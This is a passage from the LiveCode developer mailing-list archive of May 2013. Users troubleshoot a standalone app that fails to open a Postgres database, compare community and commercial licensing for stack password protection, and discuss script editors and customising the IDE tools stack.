From dochawk at gmail.com Wed May 1 00:35:12 2013 From: dochawk at gmail.com (Dr. Hawkins) Date: Tue, 30 Apr 2013 21:35:12 -0700 Subject: revOpenDatabase acting differently in IDE and standalone In-Reply-To: References: Message-ID: On Tue, Apr 30, 2013 at 7:59 PM, Mike Bonner wrote: > Sounds like something is up with the external for postgres standalone > building. You might look in the installation folder for LC 6+, find the > tools/runtime/windows/x86-32/externals folder, look at the file > externals.txt and see if it looks right, then also look in the database > drivers folder and make sure dbpostgresql.dll is there like it should be. > (if you're still on 6.0 even, working in windows there is a chance its not > there.. quite a few externals were non-functional in 6.0 windows, but have > since been fixed in 6.0.1 I think) I have parallel problems in 5.5.4 (which is where the quoted result came from) and 6.0. I haven't managed to get 6.0.1 commercial--and I need the stack encryption to protect my code; I need to release these to customers & potential customers. > Of course do this for whatever platform you're building for. Mac for the moment, but I need to load Windows, too. And this kind of variance is *extremely* worrisome--I develop on mac, but most of my customers are darkside, err, windows . . . > Make sure the > external is there for the runtime build. If its not you can look elsewhere > in the tree to see where the IDE is grabbing it from. (of course if you're > on a mac, and building for windows there may be no fix except to get 6.0.1) I'm *trying* to get commercial 6.0.1, but all I've found so far is community. I *absolutely* need commercial, as I need the stacks encrypted. > Of course i'm using community, things may be different with 6.0 commercial. > Its worth a check anyway. I'll take a peek in the morning--but much of this is beyond my understanding. High dimensional matrix calculus, sure, but drivers . . . . -- Dr. Richard E. Hawkins, Esq. (702) 508-8462 From mwieder at ahsoftware.net Wed May 1 00:46:13 2013 From: mwieder at ahsoftware.net (Mark Wieder) Date: Tue, 30 Apr 2013 21:46:13 -0700 Subject: revOpenDatabase acting differently in IDE and standalone In-Reply-To: References: Message-ID: <193259056987.20130430214613@ahsoftware.net> Richard- Tuesday, April 30, 2013, 9:35:12 PM, you wrote: > I'm *trying* to get commercial 6.0.1, but all I've found so far is community. > I *absolutely* need commercial, as I need the stacks encrypted. Well, as has been mentioned before, you don't need to encrypt them until you're ready to push them out into the wild. Until then there's no difference between the community edition and the commercial one. You can develop without encryption, then protect stuff at the last minute. In fact, that's the recommended procedure. -- -Mark Wieder mwieder at ahsoftware.net From richmondmathewson at gmail.com Wed May 1 03:21:17 2013 From: richmondmathewson at gmail.com (Richmond) Date: Wed, 01 May 2013 10:21:17 +0300 Subject: Hacking the 'Tools' stack Message-ID: <5180C26D.1010900@gmail.com> About 8-9 years ago I hacked the version 2.0 revTools stack to produce a lateral toolbar with a large number of presets, quite a few people used it, especially for teaching purposes, and am wondering about doing that again. I remember getting a bit cheesed-off when between version 2.0.1 and 2.6 there were sufficient changes in the revTools stack to prevent swapping out my hack revTools. That sort of thing takes quite a bit of time and effort, so I don't really want to do that if, with each version of Livecode the content of the revTools stack changes, so what I need to know is whether that happens or not. Richmond. From richmondmathewson at gmail.com Wed May 1 05:32:53 2013 From: richmondmathewson at gmail.com (Richmond) Date: Wed, 01 May 2013 12:32:53 +0300 Subject: Script editors Message-ID: <5180E145.5020905@gmail.com> About 9 years ago I took a Master's degree in something that was described as "Computers and IT", and when I enrolled I was informed that while the college used only Windows 2000, all the programming techniques we learnt would be valid cross-platform. I later found out that out of 5 "programming" lecturers, 5 of them didn't know what Linux was, and 4 thought that Mac OS was a sort of "plastic bathtoy" for computers and nobody did any "real" programming with it. The only person who knew anything had been downgraded to a "rude mechanical" when the Tech had been converted into a "University", but he had been told that he was not meant to discuss things like UNIX with students as that was a precondition of the funding for the 'Microsoft Professor', popularly known amongst the rude mechanicals as "Bent Bob", as he was really just a fancy sort of Microsoft Commercial. The 'programming' component of an M.Sc. consisted of doing the same sort of thing with MS Visual Basic 5 that I had done with MiniFortran in 1976/7. I had great fun antagonising the lecturers by duplicating every exercise we had using VB5 with LC/RR 2.0.1, and rubbing their faces in the fact that, on the whole, everything in LC/RR could be programmed much more efficiently. I did all my Thesis with LC/RR. At the end of the course we parted with expressions of sorrow and heartfelt loss on both sides - NOT. But, I digress . . . The ONLY thing I remember of some interest was how, with VB5 one could open up whatever the equivalent of the scriptEditor was called and see ALL the scripts of ALL the OBJECTS listed sequentially. On the whole this was not as good as the LC/RR way of doing things, where one examines the script of each object in a scriptEditor window of its own. HOWEVER, if one wanted to search through the stack's complete code, say for a search-&-replace, a scriptEditor that displayed 'everything' at once would be quite useful. On Macintosh I have, once or twice, opened a stack using TextWrangler, and used that in the same sort of way to the VB5 scriptEditor. However, as it does not colorize or indent code it is a bit of a fudge. --------------------------------------------------------------------------------------- Of course (!!!!) it might be that I'm even more goofy that I thought I was, and have missed some aspect of LC that allows one to view the whole code of one's stack all at once; but I doubt it. --------------------------------------------------------------------------------------- Does anyone know how/if this sort of thing can be done from within Livecode? Richmond. From monte at sweattechnologies.com Wed May 1 05:46:09 2013 From: monte at sweattechnologies.com (Monte Goulding) Date: Wed, 1 May 2013 19:46:09 +1000 Subject: Script editors In-Reply-To: <5180E145.5020905@gmail.com> References: <5180E145.5020905@gmail.com> Message-ID: <75C2F5DB-2125-4FD6-828C-DAF441B9D2E8@sweattechnologies.com> On 01/05/2013, at 7:32 PM, Richmond wrote: > Of course (!!!!) it might be that I'm even more goofy that I thought I was, > and have missed some aspect of LC that allows one to view the whole code > of one's stack all at once; but I doubt it. Have you seen the seen Edit > Find and Replace??? You can search everything quite easily... It probably wouldn't be that complicated to parse a stack and create a big script if you really wanted but you would lose the context of the scripts wouldn't you? -- Monte Goulding M E R Goulding - software development services mergExt - There's an external for that! From gcanyon at gmail.com Wed May 1 06:27:16 2013 From: gcanyon at gmail.com (Geoff Canyon) Date: Wed, 1 May 2013 05:27:16 -0500 Subject: How is this in the app store Message-ID: http://apparchitect.com/ I would have bet on Apple rejecting this since it's obviously taking in and executing code. Has the policy changed, or did these guys get clever somehow? gc From bonnmike at gmail.com Wed May 1 09:08:09 2013 From: bonnmike at gmail.com (Mike Bonner) Date: Wed, 1 May 2013 07:08:09 -0600 Subject: Hacking the 'Tools' stack In-Reply-To: <5180C26D.1010900@gmail.com> References: <5180C26D.1010900@gmail.com> Message-ID: My guess would be that the sheer volume of changes in the up and coming would make it wasted effort. However, rather than create an adjusted tools stack why not just make your own custom tools stack with presets? (Like droptools, powertools..) On Wed, May 1, 2013 at 1:21 AM, Richmond wrote: > About 8-9 years ago I hacked the version 2.0 revTools stack to produce a > lateral toolbar > with a large number of presets, quite a few people used it, especially for > teaching > purposes, and am wondering about doing that again. > > I remember getting a bit cheesed-off when between version 2.0.1 and 2.6 > there were sufficient > changes in the revTools stack to prevent swapping out my hack revTools. > > That sort of thing takes quite a bit of time and effort, so I don't really > want to do that if, > with each version of Livecode the content of the revTools stack changes, > so what I need to know > is whether that happens or not. > > Richmond. > > ______________________________**_________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/**mailman/listinfo/use-livecode > From mkoob at rogers.com Wed May 1 10:01:05 2013 From: mkoob at rogers.com (Martin Koob) Date: Wed, 1 May 2013 07:01:05 -0700 (PDT) Subject: Script editors In-Reply-To: <75C2F5DB-2125-4FD6-828C-DAF441B9D2E8@sweattechnologies.com> References: <5180E145.5020905@gmail.com> <75C2F5DB-2125-4FD6-828C-DAF441B9D2E8@sweattechnologies.com> Message-ID: <1367416865632-4664076.post@n4.nabble.com> I think be good to see all scripts at once but not in one long document but rather in a tree which would show the context. The new project browser shows the stack structure in a tree format. You can click on the script button in the project browse and open the scripts in the tabbed script browser but then you still loose the context the script was in. If instead of a tabbed script editor there was a tree script editor you could see how a button script relates to the script of the group it is in which relates to the script of the card it is and so on. Martin -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/Script-editors-tp4664072p4664076.html Sent from the Revolution - User mailing list archive at Nabble.com. From dochawk at gmail.com Wed May 1 11:20:20 2013 From: dochawk at gmail.com (Dr. Hawkins) Date: Wed, 1 May 2013 08:20:20 -0700 Subject: revOpenDatabase acting differently in IDE and standalone In-Reply-To: <193259056987.20130430214613@ahsoftware.net> References: <193259056987.20130430214613@ahsoftware.net> Message-ID: On Tue, Apr 30, 2013 at 9:46 PM, Mark Wieder wrote: > Well, as has been mentioned before, you don't need to encrypt them > until you're ready to push them out into the wild. That is *exactly* what I need to do, and what I was able to do when using sqlite instead of postcript. These are demo and single use copies for people interested in buying my software! > Until then there's > no difference between the community edition and the commercial one. > You can develop without encryption, then protect stuff at the last > minute. In fact, that's the recommended procedure. I stayed in the IDE until the last minute, expecting the standalone to work . . . -- Dr. Richard E. Hawkins, Esq. (702) 508-8462 From jacque at hyperactivesw.com Wed May 1 12:39:29 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Wed, 01 May 2013 11:39:29 -0500 Subject: How is this in the app store In-Reply-To: References: Message-ID: <51814541.8050008@hyperactivesw.com> On 5/1/13 5:27 AM, Geoff Canyon wrote: > http://apparchitect.com/ > I would have bet on Apple rejecting this since it's obviously taking in and > executing code. Has the policy changed, or did these guys get clever > somehow? I thought the "no executable code" rule was only for iOS? -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From mark.rauterkus at gmail.com Wed May 1 13:55:14 2013 From: mark.rauterkus at gmail.com (Mark Rauterkus) Date: Wed, 1 May 2013 13:55:14 -0400 Subject: Education version is what with the Open Source option now Message-ID: Hi My Educational version of LiveCode is due for an annual renewal, but what does that mean for the new license options. In the past, Ed folks could not release a commercial product. Is there any value or sense to an Ed version moving forward with LiveCode. I assume not. Mark Rauterkus From msiskin at andrew.cmu.edu Wed May 1 14:01:24 2013 From: msiskin at andrew.cmu.edu (Marc Siskin) Date: Wed, 1 May 2013 18:01:24 +0000 Subject: Education version is what with the Open Source option now In-Reply-To: References: Message-ID: <186B9F305200B347BB739D76C5632B1D160A67@PGH-MSGMB-03.andrew.ad.cmu.edu> Mark, The only reason to get the Commercial version of LC would be to password protect your stack/code or, if you intend on submitting an iOS app to Apple's App Store. Desktop and server use, Android apps or internal distribution are all covered by the Community version of LC's license. At least that is what my understanding (aided by Heather at RunRev) is of the licensing issues. Good luck, Marc Siskin On May 1, 2013, at 1:55 PM, Mark Rauterkus > wrote: Hi My Educational version of LiveCode is due for an annual renewal, but what does that mean for the new license options. In the past, Ed folks could not release a commercial product. Is there any value or sense to an Ed version moving forward with LiveCode. I assume not. Mark Rauterkus _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode --------------- Marc Siskin Manager, Modern Language Resource Center Carnegie Mellon University msiskin at andrew.cmu.edu From richmondmathewson at gmail.com Wed May 1 14:04:53 2013 From: richmondmathewson at gmail.com (Richmond) Date: Wed, 01 May 2013 21:04:53 +0300 Subject: Education version is what with the Open Source option now In-Reply-To: <186B9F305200B347BB739D76C5632B1D160A67@PGH-MSGMB-03.andrew.ad.cmu.edu> References: <186B9F305200B347BB739D76C5632B1D160A67@PGH-MSGMB-03.andrew.ad.cmu.edu> Message-ID: <51815945.60808@gmail.com> > Mark, > > The only reason to get the Commercial version of LC would be to password protect your stack/code or, if you intend on submitting an iOS app to Apple's App Store. Desktop and server use, Android apps or internal distribution are all covered by the Community version of LC's license. > > At least that is what my understanding (aided by Heather at RunRev) is of the licensing issues. > > Good luck, > > Marc Siskin > > On May 1, 2013, at 1:55 PM, Mark Rauterkus > > wrote: > > Hi > > My Educational version of LiveCode is due for an annual renewal, but what > does that mean for the new license options. > > In the past, Ed folks could not release a commercial product. > > Is there any value or sense to an Ed version moving forward with LiveCode. > I assume not. > > Mark Rauterkus > _______________________________________________ > If you are making in-house software for your school then there is no obvious reason why you would pay for the commercial version; mind you, make sure that some of your students are running away with your standalones on their flash-drives . . . LOL. If you are planning to "make your fortune" marketing your stuff, then the commercial version is 100% necessary. Richmond. From mwieder at ahsoftware.net Wed May 1 14:19:27 2013 From: mwieder at ahsoftware.net (Mark Wieder) Date: Wed, 1 May 2013 18:19:27 +0000 (UTC) Subject: Hacking the 'Tools' stack References: <5180C26D.1010900@gmail.com> Message-ID: Mike Bonner writes: > My guess would be that the sheer volume of changes in the up and coming > would make it wasted effort. However, rather than create an adjusted tools > stack why not just make your own custom tools stack with presets? (Like > droptools, powertools..) Case in point: when the DataGrid arrived, it took me all of an hour to shoehorn it into PowerTools. -- Mark Wieder mwieder at ahsoftware.net From mwieder at ahsoftware.net Wed May 1 16:04:21 2013 From: mwieder at ahsoftware.net (Mark Wieder) Date: Wed, 1 May 2013 20:04:21 +0000 (UTC) Subject: revOpenDatabase acting differently in IDE and standalone References: <193259056987.20130430214613@ahsoftware.net> Message-ID: Richard- > That is *exactly* what I need to do Ah. In that case, LC 5.5.4 is your friend. But you knew that already. -- Mark Wieder mwieder at ahsoftware.net From gcanyon at gmail.com Wed May 1 16:34:09 2013 From: gcanyon at gmail.com (Geoff Canyon) Date: Wed, 1 May 2013 15:34:09 -0500 Subject: How is this in the app store In-Reply-To: <51814541.8050008@hyperactivesw.com> References: <51814541.8050008@hyperactivesw.com> Message-ID: This is an iOS tool. It makes it *totally* simple. I literally went to their web site, initiated an app, created a few screens with minor interaction, installed their runtime iOS app, and was reviewing my app on my iPhone two minutes later (had to sign up by email etc.) But I think I answered my question at the same time: there is no code. None. At. All. I don't know how this is in any way useful, slick as it is. Maybe they're planning to add code. But for now, just to give one example, you can have a scrolling list, but the data in that list comes from the configuration you give it when you design it. You can't even specify a data source, you literally need to configure it in the dev environment. If they don't change that, I don't know how this is useful. If they do, I don't know how Apple won't kill this. On Wed, May 1, 2013 at 11:39 AM, J. Landman Gay wrote: > On 5/1/13 5:27 AM, Geoff Canyon wrote: > >> http://apparchitect.com/ >> I would have bet on Apple rejecting this since it's obviously taking in >> and >> executing code. Has the policy changed, or did these guys get clever >> somehow? >> > > I thought the "no executable code" rule was only for iOS? > > -- > Jacqueline Landman Gay | jacque at hyperactivesw.com > HyperActive Software | http://www.hyperactivesw.com > > ______________________________**_________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/**mailman/listinfo/use-livecode > From pete at lcsql.com Wed May 1 16:55:03 2013 From: pete at lcsql.com (Peter Haworth) Date: Wed, 1 May 2013 13:55:03 -0700 Subject: revOpenDatabase acting differently in IDE and standalone In-Reply-To: References: <193259056987.20130430214613@ahsoftware.net> Message-ID: Dr Hawkins, Maybe I'm misunderstanding the requirement here, but aren't you sending this application out as a standalone? If so the issue of password protecting the scripts is moot since it only applies to running stacks in the IDE. Doesn't help with your revdatabaseopen problem though. Pete lcSQL Software On Wed, May 1, 2013 at 1:04 PM, Mark Wieder wrote: > Richard- > > > That is *exactly* what I need to do > > Ah. In that case, LC 5.5.4 is your friend. > But you knew that already. > > -- > Mark Wieder > mwieder at ahsoftware.net > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From dochawk at gmail.com Wed May 1 17:00:20 2013 From: dochawk at gmail.com (Dr. Hawkins) Date: Wed, 1 May 2013 14:00:20 -0700 Subject: revOpenDatabase acting differently in IDE and standalone In-Reply-To: References: <193259056987.20130430214613@ahsoftware.net> Message-ID: On Wed, May 1, 2013 at 1:04 PM, Mark Wieder wrote: > Ah. In that case, LC 5.5.4 is your friend. > But you knew that already. > But this *is* 5.5.4 that can't open a postgres database from a standalone! It doesn't have a problem with sqlite, though, and the IDE (both 6.x and 5.5.4) can open postgres. -- Dr. Richard E. Hawkins, Esq. (702) 508-8462 From dochawk at gmail.com Wed May 1 17:02:25 2013 From: dochawk at gmail.com (Dr. Hawkins) Date: Wed, 1 May 2013 14:02:25 -0700 Subject: revOpenDatabase acting differently in IDE and standalone In-Reply-To: References: <193259056987.20130430214613@ahsoftware.net> Message-ID: On Wed, May 1, 2013 at 1:55 PM, Peter Haworth wrote: > Maybe I'm misunderstanding the requirement here, but aren't you sending > this application out as a standalone? If so the issue of password > protecting the scripts is moot since it only applies to running stacks in > the IDE. > Yes, but if I send it out without the password protection, anyone could open it with the IDE, couldn't they? > Doesn't help with your revdatabaseopen problem though. > which is the one killing me right now :) I can't even put a standalone on my assistant's machine for my own cases at the moment! -- Dr. Richard E. Hawkins, Esq. (702) 508-8462 From bonnmike at gmail.com Wed May 1 17:07:57 2013 From: bonnmike at gmail.com (Mike Bonner) Date: Wed, 1 May 2013 15:07:57 -0600 Subject: revOpenDatabase acting differently in IDE and standalone In-Reply-To: References: <193259056987.20130430214613@ahsoftware.net> Message-ID: Hmm, based on the error you posted i'm sure this isn't the issue, but.. you aren't trying to open the postgres database in preopenstack are you? If so, externals loading may not yet be complete. On Wed, May 1, 2013 at 3:02 PM, Dr. Hawkins wrote: > On Wed, May 1, 2013 at 1:55 PM, Peter Haworth wrote: > > > Maybe I'm misunderstanding the requirement here, but aren't you sending > > this application out as a standalone? If so the issue of password > > protecting the scripts is moot since it only applies to running stacks in > > the IDE. > > > > Yes, but if I send it out without the password protection, anyone could > open it with the IDE, couldn't they? > > > > Doesn't help with your revdatabaseopen problem though. > > > > which is the one killing me right now :) I can't even put a standalone on > my assistant's machine for my own cases at the moment! > > > -- > Dr. Richard E. Hawkins, Esq. > (702) 508-8462 > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From gandalf at doctorTimothyMiller.com Wed May 1 17:09:24 2013 From: gandalf at doctorTimothyMiller.com (Timothy Miller) Date: Wed, 1 May 2013 14:09:24 -0700 Subject: Stack won't open in 6.0.1 Message-ID: <39D05ABD-F9A7-4A4C-A9A7-049036C757AF@doctorTimothyMiller.com> My stack won't open in 6.0.1. It's fine in 5.5.4. The stack is password protected, but not because of a substack like AE. It's just password protected. I thought of opening the stack in 5.5.4, to turn off the password protection. I kludged that by trial and error, by trying to look at a script, got prompted for the password, and entered it. That unlocked the stack, but when I close the stack and re-open it, it's protected again. I'm not sure if there's a script somewhere that restores password protection, or whether that's the way password protection works. I can't find the password-protected property in the stack inspector, can't remember the relevant keywords and can't find anything useful in the dictionary under "password." Please advise. Once I am able to turn off password protection, open the stack in 6.0.1, can I restore password protection? Will I have to change any critical scripts? Never too old to be a newbie. I tried to RTI. Honest. Thanks in advance. Timothy Miller From bonnmike at gmail.com Wed May 1 17:11:43 2013 From: bonnmike at gmail.com (Mike Bonner) Date: Wed, 1 May 2013 15:11:43 -0600 Subject: revOpenDatabase acting differently in IDE and standalone In-Reply-To: References: <193259056987.20130430214613@ahsoftware.net> Message-ID: Another thought, (again 98% sure this isn't the issue but..) If the standalone builder picks and chooses db support based on code it sees in the stack, and if you are using a splash stack, or your db code is in a substack/external stack, is it possible that the standalone builder is just not including the postgres dll? To test this theory you might go into the standalone settings and manually pick your inclusions, checking database support and selecting postgresql. Even if everything is in the main stack it wouldn't hurt to test it this way as an elimination step. On Wed, May 1, 2013 at 3:07 PM, Mike Bonner wrote: > Hmm, based on the error you posted i'm sure this isn't the issue, but.. > you aren't trying to open the postgres database in preopenstack are you? > If so, externals loading may not yet be complete. > > > On Wed, May 1, 2013 at 3:02 PM, Dr. Hawkins wrote: > >> On Wed, May 1, 2013 at 1:55 PM, Peter Haworth wrote: >> >> > Maybe I'm misunderstanding the requirement here, but aren't you sending >> > this application out as a standalone? If so the issue of password >> > protecting the scripts is moot since it only applies to running stacks >> in >> > the IDE. >> > >> >> Yes, but if I send it out without the password protection, anyone could >> open it with the IDE, couldn't they? >> >> >> > Doesn't help with your revdatabaseopen problem though. >> > >> >> which is the one killing me right now :) I can't even put a standalone on >> my assistant's machine for my own cases at the moment! >> >> >> -- >> Dr. Richard E. Hawkins, Esq. >> (702) 508-8462 >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode >> > > From bonnmike at gmail.com Wed May 1 17:14:46 2013 From: bonnmike at gmail.com (Mike Bonner) Date: Wed, 1 May 2013 15:14:46 -0600 Subject: Stack won't open in 6.0.1 In-Reply-To: <39D05ABD-F9A7-4A4C-A9A7-049036C757AF@doctorTimothyMiller.com> References: <39D05ABD-F9A7-4A4C-A9A7-049036C757AF@doctorTimothyMiller.com> Message-ID: Wondering if your dictionary is having issues. Found this entry in mine. *password* ** *Type: *property *Syntax: * set the password of *stack *to {*passwordString *| empty} Hopefully that will do the trick. On Wed, May 1, 2013 at 3:09 PM, Timothy Miller < gandalf at doctortimothymiller.com> wrote: > My stack won't open in 6.0.1. It's fine in 5.5.4. > > The stack is password protected, but not because of a substack like AE. > It's just password protected. > > I thought of opening the stack in 5.5.4, to turn off the password > protection. I kludged that by trial and error, by trying to look at a > script, got prompted for the password, and entered it. That unlocked the > stack, but when I close the stack and re-open it, it's protected again. I'm > not sure if there's a script somewhere that restores password protection, > or whether that's the way password protection works. > > I can't find the password-protected property in the stack inspector, can't > remember the relevant keywords and can't find anything useful in the > dictionary under "password." > > Please advise. > > Once I am able to turn off password protection, open the stack in 6.0.1, > can I restore password protection? Will I have to change any critical > scripts? > > Never too old to be a newbie. I tried to RTI. Honest. > > Thanks in advance. > > Timothy Miller > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From gandalf at doctorTimothyMiller.com Wed May 1 17:27:02 2013 From: gandalf at doctorTimothyMiller.com (Timothy Miller) Date: Wed, 1 May 2013 14:27:02 -0700 Subject: Stack won't open in 6.0.1 In-Reply-To: References: <39D05ABD-F9A7-4A4C-A9A7-049036C757AF@doctorTimothyMiller.com> Message-ID: On May 1, 2013, at 2:14 PM, Mike Bonner wrote: > Wondering if your dictionary is having issues. Found this entry in mine. > > *password* > > ** > > *Type: *property > > > *Syntax: * > > set the password of *stack *to {*passwordString *| empty} Thank you Mike. > set the password of this stack to "foo" > > Script compile error: > Error description: > set the password of stack "rolodex" to "foo" > > Script compile error: > Error description: Any other thoughts? Tim From jacque at hyperactivesw.com Wed May 1 17:29:51 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Wed, 01 May 2013 16:29:51 -0500 Subject: How is this in the app store In-Reply-To: References: <51814541.8050008@hyperactivesw.com> Message-ID: <5181894F.7090300@hyperactivesw.com> On 5/1/13 3:34 PM, Geoff Canyon wrote: > This is an iOS tool. It makes it *totally* simple. I literally went to > their web site, initiated an app, created a few screens with minor > interaction, installed their runtime iOS app, and was reviewing my app on > my iPhone two minutes later (had to sign up by email etc.) But I think I > answered my question at the same time: there is no code. > > None. At. All. > > I don't know how this is in any way useful, slick as it is. Maybe they're > planning to add code. But for now, just to give one example, you can have a > scrolling list, but the data in that list comes from the configuration you > give it when you design it. You can't even specify a data source, you > literally need to configure it in the dev environment. > > If they don't change that, I don't know how this is useful. If they do, I > don't know how Apple won't kill this. I didn't get very far because you can't go past their front page without signing up, and that page doesn't give any info. But the picture looks like it's a tool for the Mac that creates iOS apps. So what I meant was, it isn't creating code on an iPhone, it's creating code on a Mac and then installing it on an iPhone just like we do. Only...there's no code apparently so it's all moot. How odd. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From gandalf at doctorTimothyMiller.com Wed May 1 17:32:37 2013 From: gandalf at doctorTimothyMiller.com (Timothy Miller) Date: Wed, 1 May 2013 14:32:37 -0700 Subject: Stack won't open in 6.0.1 In-Reply-To: References: <39D05ABD-F9A7-4A4C-A9A7-049036C757AF@doctorTimothyMiller.com> Message-ID: <23F2A509-8A94-4484-AA98-01762126D10E@doctorTimothyMiller.com> On May 1, 2013, at 2:14 PM, Mike Bonner wrote: > Wondering if your dictionary is having issues. Found this entry in mine. > > *password* > > ** > > *Type: *property > > > *Syntax: * > > set the password of *stack *to {*passwordString *| empty} Thank you Mike. > set the password of this stack to "foo" > > Script compile error: > Error description: > set the password of stack "rolodex" to "foo" > > Script compile error: > Error description: Oh, I got it, by trial and error as usual. Try to open a script. Get prompted for the password. Enter it. Then set the password to empty by script. That seems to work. After I open the stack successfully in 6.0.1, can I password-protect it again, in the usual way? Tim From bonnmike at gmail.com Wed May 1 17:44:44 2013 From: bonnmike at gmail.com (Mike Bonner) Date: Wed, 1 May 2013 15:44:44 -0600 Subject: Stack won't open in 6.0.1 In-Reply-To: <23F2A509-8A94-4484-AA98-01762126D10E@doctorTimothyMiller.com> References: <39D05ABD-F9A7-4A4C-A9A7-049036C757AF@doctorTimothyMiller.com> <23F2A509-8A94-4484-AA98-01762126D10E@doctorTimothyMiller.com> Message-ID: If its 6.0.1 commercial you should be able to. But of course if its 6.0.1 commercial it should have been able to open it to begin with. If its the community version the answer would be no, that part of things has been removed. On Wed, May 1, 2013 at 3:32 PM, Timothy Miller < gandalf at doctortimothymiller.com> wrote: > On May 1, 2013, at 2:14 PM, Mike Bonner wrote: > > > Wondering if your dictionary is having issues. Found this entry in mine. > > > > *password* > > > > ** > > > > *Type: *property > > > > > > *Syntax: * > > > > set the password of *stack *to {*passwordString *| empty} > > Thank you Mike. > > > set the password of this stack to "foo" > > > > Script compile error: > > Error description: > > > > set the password of stack "rolodex" to "foo" > > > > Script compile error: > > Error description: > > > Oh, I got it, by trial and error as usual. Try to open a script. Get > prompted for the password. Enter it. Then set the password to empty by > script. That seems to work. > > After I open the stack successfully in 6.0.1, can I password-protect it > again, in the usual way? > > Tim > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From mwieder at ahsoftware.net Wed May 1 17:50:16 2013 From: mwieder at ahsoftware.net (Mark Wieder) Date: Wed, 1 May 2013 21:50:16 +0000 (UTC) Subject: revOpenDatabase acting differently in IDE and standalone References: <193259056987.20130430214613@ahsoftware.net> Message-ID: Dr. Hawkins writes: > > On Wed, May 1, 2013 at 1:04 PM, Mark Wieder wrote: > > > Ah. In that case, LC 5.5.4 is your friend. > > But you knew that already. > > > > But this *is* 5.5.4 that can't open a postgres database from a standalone! > > It doesn't have a problem with sqlite, though, and the IDE (both 6.x and > 5.5.4) can open postgres. OK. My bad. I missed that. I thought you were saying you reverted to 5.5.4 because you couldn't get this working in 6. It's been a while since I've had to try to open a postgres file, but I never had problems with it before. I'll try it again tonight. And just for a sanity check... you're accessing a remote postgres database, not one on your development machine, right? And it works in the IDE but not in a standalone running on the same machine as the IDE? (Asking because you have to explicitly configure postgres to allow access from a remote machine). -- Mark Wieder mwieder at ahsoftware.net From gandalf at doctorTimothyMiller.com Wed May 1 17:55:22 2013 From: gandalf at doctorTimothyMiller.com (Timothy Miller) Date: Wed, 1 May 2013 14:55:22 -0700 Subject: Password protection in non-commercial 6.0.1 In-Reply-To: References: <39D05ABD-F9A7-4A4C-A9A7-049036C757AF@doctorTimothyMiller.com> <23F2A509-8A94-4484-AA98-01762126D10E@doctorTimothyMiller.com> Message-ID: <7553ED77-5BFA-4571-90FB-CE1B4023B6BD@doctorTimothyMiller.com> On May 1, 2013, at 2:44 PM, Mike Bonner wrote: > If its 6.0.1 commercial you should be able to. But of course if its 6.0.1 > commercial it should have been able to open it to begin with. If its the > community version the answer would be no, that part of things has been > removed. Not commercial :( For many years, I have depended on password protection of this stack and it will be a pain to get along without it. I am not a commercial user. My stacks are for my own use only. Is LiveCode turning its back on users like me? Will I regret my modest contribution to the kickstarter fund? Tim Miller From stephenREVOLUTION2 at barncard.com Wed May 1 17:57:11 2013 From: stephenREVOLUTION2 at barncard.com (stephen barncard) Date: Wed, 1 May 2013 14:57:11 -0700 Subject: Password protection in non-commercial 6.0.1 In-Reply-To: <7553ED77-5BFA-4571-90FB-CE1B4023B6BD@doctorTimothyMiller.com> References: <39D05ABD-F9A7-4A4C-A9A7-049036C757AF@doctorTimothyMiller.com> <23F2A509-8A94-4484-AA98-01762126D10E@doctorTimothyMiller.com> <7553ED77-5BFA-4571-90FB-CE1B4023B6BD@doctorTimothyMiller.com> Message-ID: If it's for your own use, why do you need to protect you stacks at all? You don't trust yourself? On Wed, May 1, 2013 at 2:55 PM, Timothy Miller < gandalf at doctortimothymiller.com> wrote: > On May 1, 2013, at 2:44 PM, Mike Bonner wrote: > > > If its 6.0.1 commercial you should be able to. But of course if its 6.0.1 > > commercial it should have been able to open it to begin with. If its the > > community version the answer would be no, that part of things has been > > removed. > > Not commercial :( > > For many years, I have depended on password protection of this stack and > it will be a pain to get along without it. I am not a commercial user. My > stacks are for my own use only. > > Is LiveCode turning its back on users like me? Will I regret my modest > contribution to the kickstarter fund? > > Tim Miller > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- Stephen Barncard San Francisco Ca. USA more about sqb From jacque at hyperactivesw.com Wed May 1 18:00:21 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Wed, 01 May 2013 17:00:21 -0500 Subject: revOpenDatabase acting differently in IDE and standalone In-Reply-To: References: <193259056987.20130430214613@ahsoftware.net> Message-ID: <51819075.4030902@hyperactivesw.com> On 5/1/13 4:02 PM, Dr. Hawkins wrote: > On Wed, May 1, 2013 at 1:55 PM, Peter Haworth wrote: > >> Maybe I'm misunderstanding the requirement here, but aren't you sending >> this application out as a standalone? If so the issue of password >> protecting the scripts is moot since it only applies to running stacks in >> the IDE. >> > > Yes, but if I send it out without the password protection, anyone could > open it with the IDE, couldn't they? You can't open standalones in the IDE. But the scripts of unprotected standaones can still be read if opened in a text 